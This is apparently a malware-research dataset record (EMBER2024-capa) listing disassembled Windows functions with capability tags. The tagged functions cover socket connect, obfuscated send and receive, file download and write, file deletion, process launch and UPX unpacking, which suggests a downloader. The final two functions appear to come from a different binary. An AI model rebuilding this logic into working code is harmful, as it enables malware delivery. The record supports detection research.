joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4033de
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a8
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x804]
cmp ecx, ebx
je 0x403400
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9a4]
push eax
push 0x101
mov dword [ebp - 0x9a8], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403428
xor eax, eax
jmp 0x4034ba
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403421
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403468
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9a8], eax
push 4
lea eax, [ebp - 0x9a8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x4034a9
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x810], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x814], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x812], ax
push 0x10
lea eax, [ebp - 0x814]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4034a9
xor ebx, ebx
inc ebx
jmp 0x4034b8
mov eax, dword [esi]
test eax, eax
je 0x4034b8
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004089dc
leave
ret

Function at 0x4035f3
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403670
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x40361a
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x40360e
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00409409
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, 0x4200ec
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040d2c0
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403673
cmp eax, dword [ebp - 4]
jne 0x403673
mov dword [ebp - 8], 1
jmp 0x403673
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x40367e
push ebx
call fcn.0040946e
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x403817
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x403855
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x403973
cmp edi, ebx
je 0x403973
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.0040c280
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x403973
cmp eax, ebx
je 0x403973
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00409409
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x40395e
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x40393c
test eax, eax
je 0x40393c
add ebx, eax
cmp edi, ebx
jg 0x4038c4
push 5
pop ecx
cmp ebx, ecx
jl 0x40395e
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, 0x4200ec
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40395e
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x40391c
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x403916
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x403944
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.0040d2c0
mov dword [esi], ebx
jmp 0x403951
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40395e
push eax
push ecx
push dword [ebp - 0x868]
call fcn.0040d2c0
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x403973
push dword [ebp - 0x860]
call fcn.0040946e
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004089dc
add ebp, 0x70
leave
ret
Function at 0x403bc4
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.00413380
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x403c0a
xor eax, eax
jmp 0x403c52
cmp dword [ebp - 0x78], ebx
jbe 0x403c41
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x403c41
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.004095db
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
jb 0x403c0f
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.004092c2
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.004089dc
add ebp, 0xf90
leave
ret
Function at 0x403eb9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x41be2c
mov ebx, eax
push 0x89
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebp, eax
cmp ebp, edi
je 0x403f26
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebp
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00409409
push esi
mov edi, eax
push 0
push edi
call fcn.0040c280
push esi
push ebp
push edi
call fcn.0040d2c0
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
ret

Function at 0x403f2c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403f55
push dword [ebp + 8]
call fcn.00403fcc
pop ecx
cmp eax, dword [ebp + 0x10]
jne 0x403f55
inc ebx
jmp 0x403fc5
mov edi, 0x200000
push edi
call fcn.004099c6
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
lea edi, [ebp - 4]
call fcn.00404021
add esp, 0xc
test eax, eax
je 0x403fbe
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00408ad7
pop ecx
push 0x32
mov eax, 0xc8
call fcn.00402204
mov edi, dword [ebp - 4]
pop ecx
push eax
lea ebx, [edi + esi]
mov dword [ebp + 0x10], eax
call fcn.0040242b
add edi, dword [ebp + 0x10]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.0040408f
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.00409f27
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x403fcc
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push connect
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x403ffb
mov edx, esi
jmp 0x40401a
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x404011
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40408f
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4040af
mov eax, dword [ebp + 8]
call fcn.004040fa
test eax, eax
je 0x4040f5
push edi
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4040f4
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x4040ed
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x4040fa
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40410d
xor eax, eax
pop esi
ret
test al, 1
je 0x404114
xor eax, 1
test al, 4
je 0x40411b
xor eax, 4
test al, 2
je 0x404122
xor eax, 2
test al, 0x20
je 0x404129
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, esi
pop esi
ret
Function at 0x40418c
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x41f044]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x421698
push 0x67
push edi
call esi
push 0x64
mov ebx, 0x4215d0
push ebx
push 0x6d
push edi
call esi
mov eax, edi
call fcn.0040434b
mov eax, dword [ebp + 0x10]
mov edx, 0x421768
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4041dc
call section..text
push 0x7d0
mov dword [0x42006c], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040109c
test eax, eax
je 0x404215
call fcn.0040246d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor esi, esi
push esi
push edi
push esi
push esi
push esi
mov eax, connect
push eax
push esi
push eax
push 0xcf0000
push 0x421698
push ebx
push esi
mov dword [0x421760], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404249
call fcn.004025e6
cmp eax, esi
jne 0x404262
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004089dc
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
mov word [esp + 0x14], ax
lea eax, [esp + 0x16]
push esi
push eax
call fcn.0040c280
mov ecx, dword [0x421c70]
add esp, 0xc
cmp ecx, esi
jbe 0x4042a7
cmp word [0x421c74], si
jbe 0x4042a7
mov esi, 0x420050
call fcn.00402f19
mov ax, word [0x421c74]
mov word [0x420060], ax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov edi, ecx
div edi
xor edx, edx
mov ebx, 0x422028
div ecx
push edx
push 0x41be4c
push ebx
call fcn.0040442d
add esp, 0xc
call fcn.00402fd7
lea edi, [esp + 0x10]
call fcn.00402f7d
push 0x41bd48
mov edi, 0x104
lea eax, [esp + 0x14]
push edi
push eax
call fcn.004089eb
add esp, 0xc
push ebx
lea eax, [esp + 0x14]
push edi
push eax
call fcn.004089eb
add esp, 0xc
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404335
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
push 0x41bc20
lea eax, [esp + 0x1c]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00403c69
push esi
jmp 0x40420f

Function at 0x40530d
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x4054a1
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xff0]
mov eax, 0x1070
call fcn.00413380
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp + 0xfec], eax
mov eax, dword [ebp + 0xff8]
push esi
push edi
push 0x41bd40
push eax
lea eax, [ebp - 0x18]
mov esi, ecx
xor edi, edi
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
call fcn.00408f3b
add esp, 0xc
cmp dword [ebp - 0x18], edi
jne 0x4054fc
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
jmp 0x40558f
push ebx
push 2
push edi
push dword [ebp - 0x18]
call fcn.004096e7
push dword [ebp - 0x18]
call fcn.00409909
push edi
push edi
push dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
call fcn.004096e7
lea eax, [ebp - 0x80]
call fcn.0040530d
push dword [ebp - 0x18]
mov esi, 0x1000
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.0040922e
mov ebx, eax
add esp, 0x2c
cmp ebx, edi
jbe 0x405569
push ebx
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x14]
call fcn.00405338
push dword [ebp - 0x18]
add dword [ebp - 0x1c], ebx
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.0040922e
mov ebx, eax
add esp, 0x14
test ebx, ebx
ja 0x405542
mov edi, dword [ebp - 0x20]
push edi
lea esi, [ebp - 0x80]
call fcn.004053d1
push dword [ebp - 0x18]
call fcn.004092c2
mov eax, dword [ebp - 0x1c]
pop ecx
pop ecx
pop ebx
cmp eax, dword [ebp - 0x24]
jb 0x4054ee
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xfec]
pop edi
xor ecx, ebp
pop esi
call fcn.004089dc
add ebp, 0xff0
leave
ret

Function at 0x406d32
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x406d3d
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x406def
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d2f0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d2f0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d2f0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d2f0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d2f0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d2f0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d2f0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d2f0]
inc ecx
sub edi, 8
dec esi
jne 0x406d54
pop ebx
test edi, edi
je 0x406e08
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x41d2f0]
inc ecx
dec edi
jne 0x406df3
pop esi
not eax
pop edi
ret
Function at 0x406e0d
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x41d2f0]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x41d2f0]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x407482
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x4074b2
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 2]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4074ad
mov byte [esi + 6], 1
mov eax, dword [ebp + 0x10]
jmp 0x4074da
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x4074c3
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0xc]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.0040d2c0
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x408181
Capabilities:
Get common file path

Disassembly:
push ecx
cmp dword [ebx], 0
push esi
push edi
jne 0x408227
cmp dword [ebx + 4], 0xffffffff
jne 0x408227
lea esi, [ebx + 0x244]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x4081ae
sub eax, edx
sar eax, 1
movzx eax, word [ebx + eax*2 + 0x242]
cmp ax, 0x5c
je 0x4081e5
cmp ax, 0x2f
je 0x4081e5
dec esi
dec esi
mov ax, word [esi + 2]
inc esi
inc esi
test ax, ax
jne 0x4081d2
mov edi, esi
mov esi, 0x41bd48
movsd dword es:[edi], dword [esi]
push 0x18
call fcn.00409409
and dword [eax + 0x14], 0
and dword [eax + 7], 0
pop ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 0xc], ecx
mov ecx, dword [esp + 0x14]
push eax
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0xb], 0
mov dword [eax + 0x10], ecx
call fcn.004076fb
mov dword [ebx], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x40822c
mov eax, 0x1000000
pop edi
pop esi
pop ecx
ret 8

Function at 0x4089dc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f044]
jne 0x4089e6
repz ret
jmp fcn.0040a6c9

Function at 0x413691
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040aa29
and dword [ebp - 4], 0
cmp dword [0x420f30], 0
mov ebx, eax
jne 0x413742
push 0x41ab74
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4137f3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41ab68
push edi
call esi
test eax, eax
je 0x4137f3
push eax
call fcn.0040a9b7
mov dword [esp], 0x41ab58
push edi
mov dword [0x420f30], eax
call esi
push eax
call fcn.0040a9b7
mov dword [esp], 0x41ab44
push edi
mov dword [0x420f34], eax
call esi
push eax
call fcn.0040a9b7
mov dword [esp], 0x41ab28
push edi
mov dword [0x420f38], eax
call esi
push eax
call fcn.0040a9b7
pop ecx
mov dword [0x420f40], eax
test eax, eax
je 0x413742
push 0x41ab10
push edi
call esi
push eax
call fcn.0040a9b7
pop ecx
mov dword [0x420f3c], eax
mov eax, dword [0x420f3c]
cmp eax, ebx
je 0x41379a
cmp dword [0x420f40], ebx
je 0x41379a
push eax
call fcn.0040aa32
push dword [0x420f40]
mov esi, eax
call fcn.0040aa32
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41379a
test edi, edi
je 0x41379a
call esi
test eax, eax
je 0x413791
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413791
test byte [ebp - 0xc], 1
jne 0x41379a
or dword [ebp + 0x10], 0x200000
jmp 0x4137d3
mov eax, dword [0x420f34]
cmp eax, ebx
je 0x4137d3
push eax
call fcn.0040aa32
pop ecx
test eax, eax
je 0x4137d3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4137d3
mov eax, dword [0x420f38]
cmp eax, ebx
je 0x4137d3
push eax
call fcn.0040aa32
pop ecx
test eax, eax
je 0x4137d3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x420f30]
call fcn.0040aa32
pop ecx
test eax, eax
je 0x4137f3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4137f5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f560
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40b015
lea edi, [esi - 0xa015]
push edi
or ebp, 0xffffffff
jmp 0x40f582
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f589
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f578
mov eax, 1
add ebx, ebx
jne 0x40f59b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40f590
jne 0x40f5ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f590
xor ecx, ecx
sub eax, 3
jb 0x40f5c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f632
mov ebp, eax
add ebx, ebx
jne 0x40f5cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f5d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f5fc
inc ecx
add ebx, ebx
jne 0x40f5e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40f5dd
jne 0x40f5f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f5dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40f61c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f60d
jmp 0x40f57e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f61c
add edi, ecx
jmp 0x40f57e
pop esi
mov edi, esi
mov ecx, 0x210
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f63a
cmp byte [edi], 5
jne 0x40f63a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40f63f
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40f6ae
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xfeac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xff60]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f66c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xff64]
or eax, eax
je 0x40f6a8
mov dword [ebx], eax
add ebx, 4
jmp 0x40f689
call dword [esi + 0xff74]
mov ebp, dword [esi + 0xff68]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40f6e2
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x406d50
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov eax, dword [0x5ff740]
xor eax, ebp
mov dword [ebp + 0x398], eax
push ebx
xor eax, eax
push 0x40e
mov word [ebp - 0x78], ax
xor ebx, ebx
lea eax, [ebp - 0x76]
push ebx
push eax
call fcn.004e38a0
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
push dword [ebp + 0x3a4]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
lea eax, [ebp - 0x78]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
je 0x406db5
lea eax, [ebp - 0x78]
push eax
mov ecx, esi
call fcn.00402719
mov bl, 1
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [ebp - 0x7c]
push dword [ebp - 0x80]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp + 0x398]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.004de422
add ebp, 0x39c
leave
ret 4

Function at 0x40716c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x407176
sub eax, ecx
sar eax, 1
je 0x407198
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x407198
mov al, 1
jmp 0x40719a
xor al, al
leave
ret 4